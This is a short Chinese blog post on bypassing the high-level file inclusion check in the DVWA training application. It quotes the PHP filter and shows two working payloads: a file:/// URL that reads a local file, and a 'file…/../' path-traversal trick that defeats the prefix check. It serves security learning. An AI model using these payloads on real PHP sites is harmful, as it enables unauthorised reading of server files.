1. 程式人生 > >dvwa v1.10 檔案包含high級別的一個思路

dvwa v1.10 檔案包含high級別的一個思路

我們先來看一下dvwa檔案包含high級別的程式碼:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 
因此page引數必須要以file開頭,其中的一路繞過的思路是利用file協議,例如要讀取D盤的testfile.txt檔案,則url應該寫為http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:/testfile.txt,詳情大家可以去參考一下一下這篇文章
點選開啟連結

但是這畢竟只是一種特殊情況,如果不是檔名開頭恰好為file,這根本無法利用。

經測試發現在php有個有意思的特性,程式碼如下:

<?php 
	include("werew/../cookie.txt");
?>
這裡當前目錄存在一個cookie.txt的檔案,但是目錄werew是不存在的,但是按照這種方式仍然能訪問到當前目錄的cookie.txt檔案,因此按照這種思路我們可以構造url如下:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=filesfwe/../file1.php

這種url仍然可以成功包含file1.php